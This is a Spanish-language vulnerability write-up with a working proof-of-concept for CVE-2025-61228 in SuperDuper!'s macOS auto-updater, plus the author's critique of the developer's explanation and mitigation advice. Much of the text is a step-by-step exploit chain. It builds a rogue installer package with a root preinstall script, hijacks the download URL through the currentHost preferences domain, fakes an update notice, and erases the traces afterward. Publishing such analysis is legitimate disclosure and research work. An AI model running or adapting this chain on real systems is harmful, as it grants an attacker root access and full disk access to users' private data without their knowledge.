
Análisis técnico y exploit de prueba de concepto para CVE-2025-61228, una vulnerabilidad de escalada de privilegios en el mecanismo de actualización automática de SuperDuper!, con un desglose detallado del vector de ataque y guía de mitigación.
Este problema parece ser peor de lo que el desarrollador sugiere, así que no quiero que esta parte se pierda en la maleza. El desarrollador señaló en su blog:
Esto solo puede suceder si un programa que se ejecuta en su sistema está buscando a SuperDuper para realizar una actualización, se presenta una actualización real por medios legítimos y usted hace clic en Actualizar.
Esto no es realmente cierto; explotar esta vulnerabilidad no requiere que se presente una actualización real por medios legítimos. Nunca, jamás acepte una actualización proporcionada por SuperDuper 3.10 y anteriores. Explico esto con más detalle a continuación.
También es importante entender que esta vulnerabilidad no se limita a la escalada de privilegios, sino que también implica una subversión de los controles de privacidad. Ese detalle parece haberse omitido en la publicación del blog del desarrollador.
Del blog del desarrollador:
Nuestro mecanismo de actualización automática puede ser secuestrado y convencido de instalar un paquete que no es SuperDuper.
Aunque firmamos y notarizamos nuestro paquete de instalación, Gatekeeper no está verificando esa notarización cuando es instalado por el instalador de paquetes de macOS. Por lo tanto, la descarga podría ser cambiada, y nosotros instalaríamos eso en su lugar. Dado que la instalación se realiza con privilegios elevados, eso podría permitir que un programa malicioso de un tercero, que usted también tendría que instalar, obtenga acceso de administrador a su sistema.
Del CVE:
Un problema en Shirt Pocket SuperDuper! V.3.10 y anteriores permite a un atacante local ejecutar código arbitrario a través del mecanismo de actualización de software.
Este autor no es el descubridor de la vulnerabilidad, quien es identificado por el desarrollador de SuperDuper como "investigador de seguridad anónimo". No reclamo crédito por descubrir esta vulnerabilidad, solo me tomé cierto interés en realizar un análisis técnico de la misma.
Puntuación CVSS 3.1: 7.8 Alta (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Para evitar esta vulnerabilidad, elimine la aplicación SuperDuper! o aplique la actualización 3.11.
Advertencia: Debe descargar la actualización directamente desde el sitio web del desarrollador para evitar esta vulnerabilidad.
Este análisis de explotación y prueba de concepto se proporciona solo con fines educativos. Úselo bajo su propio riesgo.
En lugar de implementar una solución de actualización de software de código abierto que haya sido probada por cientos de desarrolladores y profesionales de seguridad, los desarrolladores de SuperDuper crearon su propio mecanismo de actualización de software basado en scripts de shell inseguros que se ejecutan con privilegios de root y tienen acceso total al disco. Al no autenticar el software que se instala durante la actualización, SuperDuper es engañado para que instale el software de un atacante. La corrección del desarrollador solo aborda el aspecto de autenticación de esta vulnerabilidad, no aborda las vulnerabilidades inherentes que resultan del uso de scripts de shell para facilitar el proceso de actualización.
El comentario del desarrollador "Gatekeeper no está verificando esa notarización" es engañoso. GateKeeper entra en juego cuando intenta abrir algo que se descargó en un navegador, pero eso no es aplicable en el mecanismo interno de actualización de software de una aplicación. Es responsabilidad 100% del desarrollador validar cualquier cosa que su software descargue e instale en su computadora; no deje que este desarrollador lo engañe para que crea que esto es una falla de GateKeeper. Llegando al corazón del exploit, un atacante puede engañar a SuperDuper para que instale un paquete alternativo, y eso sucede con privilegios elevados. Presumiblemente también se ejecutaría con acceso completo al disco, porque SuperDuper requiere acceso completo al disco para hacer cualquier cosa.
El blog del desarrollador también afirma:
Esto solo puede suceder si un programa que se ejecuta en su sistema está buscando a SuperDuper para realizar una actualización, se presenta una actualización real por medios legítimos y usted hace clic en Actualizar.
Con ese comentario, asumí que probablemente no sería posible reproducir este exploit porque debería implicar cambios del lado del servidor en el mecanismo de actualización que se habrían realizado junto con la publicación del parche 3.11. En otras palabras, para evitar que las versiones anteriores del software se vean afectadas por esta vulnerabilidad, seguramente han deshabilitado el mecanismo de actualización, ¿verdad? Bueno... descargué una versión anterior de SuperDuper, y cuando la abrí, inmediatamente me recibió una notificación de actualización† — a un clic de una posible explotación. Encontré esto muy intrigante: ¿cómo se protegerá a alguien que use una versión anterior de la aplicación de esta vulnerabilidad si el mecanismo de actualización automática no está deshabilitado? (esto está relacionado con la "alerta" que mencioné al principio de este artículo, retomaré esta pregunta al final)
† Más o menos... El resultado fue bastante incómodo. No había descripción de la actualización ni aviso de seguridad, la ventana estaba en blanco con un botón Omitir y Actualizar. Por lo tanto, los usuarios de versiones anteriores no solo no están protegidos del exploit al tener el mecanismo de actualización deshabilitado, sino que tampoco se les informa del problema a través del mecanismo de actualización.
Seguí adelante. Cuando aplicas la actualización, los mecanismos internos se registran útilmente en el registro de SuperDuper, así que comenzaremos allí para ver cómo funciona:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
Muchas aplicaciones de Mac que viven fuera de la Mac App Store utilizan el framework de código abierto Sparkle para gestionar las actualizaciones de software de forma segura. SuperDuper no. Podemos ver aquí que crearon el suyo propio, y este es un gran ejemplo de por qué eso suele ser una mala elección. Los mecanismos de actualización de software son objetivos principales para exploits, por lo que requieren mucho tiempo y experiencia para mantenerlos seguros. "UpgradeTranscript.plist" es una referencia a un archivo dentro de la aplicación SuperDuper que describe una serie de comandos de Terminal que SuperDuper utiliza para descargar y aplicar la actualización:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
Veo al menos cuatro problemas con estos comandos y procedimiento:
Los instaladores de paquetes pueden ejecutar scripts de shell, así que asumiré que este es el vector de ataque preferido para el paquete de instalación alternativo. Comencemos construyendo un paquete que ejecute un script de preinstalación, y luego veamos cómo interponerlo en el mecanismo de actualización.
# El uso de la carpeta de instalación "/tmp/superduper_install" ofrece una limpieza conveniente por parte de SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# crea el script. /Library solo es escribible por root, así que intentaremos crear un archivo de prueba allí.
# Obtener el contenido de la carpeta Desktop requiere un privilegio de privacidad otorgado por el usuario, así que también intentaremos
# volcar esa lista de carpetas en un archivo de texto en el escritorio para ver si tenemos acceso completo al disco. Tenga en cuenta que para
# probar efectivamente esta parte del exploit, debe revocar el Acceso Completo al Disco desde Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# construir el paquete
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# poner el paquete en un archivo tar
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
Breve comentario lateral para ver qué tipo de acceso otorga este exploit al atacante: si ejecuta el script de shell manualmente (asumiendo que Terminal no tiene Acceso Completo al Disco ni acceso a "Archivos y Carpetas"), obtendrá dos errores:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
Un atacante puede hacer mucho daño con acceso root, pero con acceso a la privacidad también, puede acceder a un rango más amplio de contenido dentro de su carpeta de inicio (el Escritorio puede parecer trivial, pero se almacena muchos datos privados en la carpeta oculta Library). Este exploit les otorga ambos.
Bien, construir el paquete fue la parte fácil. ¿Cómo entramos en el mecanismo de actualización? Explotar la condición de carrera era un candidato obvio, pero me pregunté si sería posible intervenir en esta parte del procedimiento:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
Las variables de host y URL de descarga provienen obviamente de fuera del script. ¿Se pueden manipular? Las aplicaciones que usan el mecanismo de actualización de software Sparkle a menudo almacenan una URL de "verificación de actualización de software" en CFPreferences, así que me pregunté si SuperDuper podría hacer lo mismo. Efectivamente, pero peor: en lugar de almacenar solo una URL para verificar actualizaciones, SuperDuper coloca la URL de descarga real en CFPreferences:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
Intenté sobrescribir la URL con una URL del sistema de archivos local:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Volví a abrir SuperDuper e hice clic en Actualizar, pero la actualización procedió a instalar la actualización del desarrollador, no mi paquete alternativo. Por supuesto: cuando SuperDuper vio la actualización nuevamente al iniciar, reescribió el valor en defaults. Lo intenté de nuevo estableciendo el valor después de que SuperDuper presentara la actualización, ¡esta vez funcionó! Bueno, la instalación de la actualización realmente falló, pero el ataque funcionó: se creó el archivo /Library/test.
Eliminé el archivo de prueba y repetí la prueba para verificar que realmente funcionaba. También confirmé que el archivo private_data en el Escritorio ahora tenía el listado de carpetas del Escritorio: el script se ejecutó con Acceso Completo al Disco.
Podría haberme detenido aquí, pero el registro de errores mostró que la instalación falló porque no se pudo encontrar SuperDuper:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
Revisando la lógica de los scripts de shell de UpgradeTranscript.plist, me di cuenta de que el instalador podría tener éxito si simplemente copio la aplicación SuperDuper en el paquete alternativo (ditto está arrojando ese error porque /tmp/superduper_install/SuperDuper!.app no existe). Esto resultó ser más difícil de lo que debería, SuperDuper siempre se bloqueaba durante la instalación. Fue mucho más fácil hacer que el script de preinstalación copiara la aplicación a la ubicación esperada en tiempo de ejecución:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Abrir SuperDuper para la presentación de la actualización]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Ahora SuperDuper instaló el paquete falso, y pareció instalarse correctamente. SuperDuper se reinició y presentó la actualización nuevamente, lo cual es esperado porque simplemente reinstaló la copia de la versión anterior que hicimos en la carpeta tmp. La falta de un mensaje de error probablemente sea suficiente para engañar al usuario promedio haciéndole creer que no hay nada realmente malo, y simplemente harán clic en el botón Actualizar nuevamente, esta vez instalando el paquete real del sitio del desarrollador. Mientras tanto, el exploit ya se ha activado y el usuario se encoge de hombros: "vaya, eso fue un poco extraño, pero ya funciona".
Todavía hay un problema logístico aquí que dificultaría este ataque: el atacante tendría que ejecutar ese comando "defaults" después de que se presente la actualización al usuario, y antes de que el usuario haga clic en el botón Actualizar. Ciertamente es factible, podría simplemente ejecutar ese comando "defaults write" en un bucle infinito en segundo plano, pero eso llamaría la atención. Al principio pensé que podría bloquear el archivo de preferencias para evitar esto:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[esperar a que se presente la actualización de SD, luego el usuario puede proceder a aplicarla sin pasos adicionales]
Pero eso no funcionó. Pensando en cómo funcionan las preferencias, tenía sentido. Las aplicaciones no abren esos archivos y leen los valores cada vez que necesitan obtener una configuración, sino que le piden el valor a la interfaz "CFPreferences". Si SuperDuper cambia el valor de UMdownloadURL, CFPreferences conservará el cambio en la memoria incluso si el archivo físico no se modifica. Cuando SuperDuper luego solicite el valor de esa configuración, CFPreferences lo obtendrá de la caché (y la caché se actualiza si se realizan cambios en los archivos físicos).
En este punto, algo realmente me estaba molestando: ¿por qué el desarrollador se molestaría en escribir la URL de descarga en CFPreferences? Seguramente solo va a escribir esos valores en CFPreferences si también planea leerlos de CFPreferences, ¿verdad? Pero ¿por qué no simplemente almacenar el valor en una variable en la memoria? Hay dos grandes problemas con el uso de CFPreferences de esta manera que todo desarrollador de Mac experimentado debería conocer:
Para probar mi teoría, escribí la preferencia en el dominio "currentHost", que supera al dominio de la aplicación:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Luego reinicié SuperDuper e hice clic en Actualizar: se instaló el paquete alternativo. Impresionante. Esto hace que el exploit sea mucho más fácil de ejecutar; un atacante podría simplemente colocar esa configuración de preferencias y esperar indefinidamente a que se publique una actualización. Pero espera, si SuperDuper obtiene el valor de la URL de descarga de las preferencias, ¿podría también obtener el número de versión? ¿Podría un atacante básicamente inducir una actualización y engañar a SuperDuper para que la presente, incluso si el desarrollador no ha publicado una? ¡Increíble, sí! Reuniendo todo, un atacante podría ejecutar estos comandos para que una versión anterior (sin parche) de SuperDuper! presente una actualización falsa, instale un paquete alternativo, mientras que SuperDuper elimina todos los rastros del ataque:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
Cuando SuperDuper se recarga después de instalar el paquete alternativo, la actualización ya no se presenta y el usuario continúa creyendo que ha instalado la nueva versión, sin sospechar que el exploit se ha activado.
Volviendo al principio de este artículo, me pregunté: "¿cómo se protegerá a alguien que use una versión anterior de la aplicación de esta vulnerabilidad si el mecanismo de actualización automática no está deshabilitado?" Resulta que no importa si el desarrollador deshabilita el mecanismo de actualización automática: esta vulnerabilidad puede explotarse sin (o a pesar de) cualquier cambio del lado del servidor, y ni siquiera requiere que el desarrollador publique una actualización "real". La única mitigación es que los usuarios siempre rechacen una actualización automática hasta que hayan actualizado manualmente a una versión parcheada del producto.